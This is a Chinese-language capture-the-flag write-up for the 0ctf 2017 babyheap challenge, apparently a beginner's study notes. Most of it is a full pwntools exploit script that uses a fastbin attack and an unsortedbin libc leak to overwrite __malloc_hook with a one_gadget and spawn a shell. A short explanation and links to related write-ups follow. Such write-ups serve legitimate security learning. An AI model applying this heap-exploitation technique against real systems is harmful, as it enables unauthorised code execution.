刚入门pwn的菜鸡选手看这个最简单的堆题都看了好久,在这里写一下自己的分析做备忘,也希望能帮助那些跟我一样刚刚接触堆的萌新。
主要思路就是:
- fastbin attack
- unsortedbin attack 泄露libc地址
- malloc_hook劫持程序流
- 因为markdown画图不太熟悉,就用其他软件画了图。
- 先放exp,因为下面的图是根据exp画的。
#!/usr/bin/python
# -*- coding: utf-8 -*-
# ************************************************************************
# *
# * @file:babyheap_0ctf_2017.py
# * @date:2020-01-30 22:31
# * @version 1.0
# * @description: Python Script
# * @Copyright (c)all right reserved
# *
#************************************************************************* from pwn import *
import syscontext.terminal = ['tmux', 'splitw', '-h' ]
context(os='linux', arch='amd64', log_level='debug')local_file = './babyheap_0ctf_2017'
ip = 'node3.buuoj.cn'
port = 1
def con(cmd):
if cmd == 0:
sh = process(local_file)
else:
sh = remote(ip, port)
return shdef cmd(x):
sh.sendlineafter('Command: ',str(x))def allocate(size):
cmd(1)
sh.sendlineafter('Size: ',str(size))def fill(index,content):
cmd(2)
sh.sendlineafter('Index: ',str(index))
sh.sendlineafter('Size: ',str(len(content)))
sh.sendlineafter('Content: ',content)def free(index):
cmd(3)
sh.sendlineafter('Index: ',str(index))def dump(index):
cmd(4)
sh.sendlineafter('Index: ',str(index))sh = con(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 图0
allocate(0x10)
allocate(0x10)
allocate(0x30)
allocate(0x40)
allocate(0x60)
#图1
fill(0, p64(0x51)*4)
fill(2, p64(0x31)*6)
free(1)
#图2
allocate(0x40)
fill(1,p64(0x91)*4)
#图3
free(2)
dump(1)
sh.recv(0x2a)
addr = u64(sh.recv(6).ljust(8,'\x00'))
success('get_addr => '+hex(addr))
malloc_hook = addr - 0x68
success('malloc_hook => '+hex(malloc_hook))
#图5
free(4)
payload = p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
#图6
allocate(0x60) #idx2
allocate(0x60) #idx4libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc ='+hex(libc_addr))
one_gadget = p64(libc_addr+0x4526a)
payload = 'a'*0x13+ one_gadget#本地计算偏移
fill(4,payload)
allocate(1)
sh.interactive()
文章图片
文章图片
文章图片
文章图片
文章图片
下一步我们继续申请2个0x60的chunk,因为fastbin上链了3个节点,首先会从fastbin[0x70]链表中取出来第一个节点(对应开始位置是上图中的D0处),建立了一个总大小为0x70的chunk。第二次allocate则会取链表的下一个节点,也就是malloc_hook-0x23这个地址作为新的chunk的开始地址,这个chunk总的大小还是0x70。通过本地查看信息计算偏移,得到最后的payload
文章图片
【0ctf-2017-babyheap图解】参考链接:
2017-0ctf-babyheap
ctfwiki
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
- 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap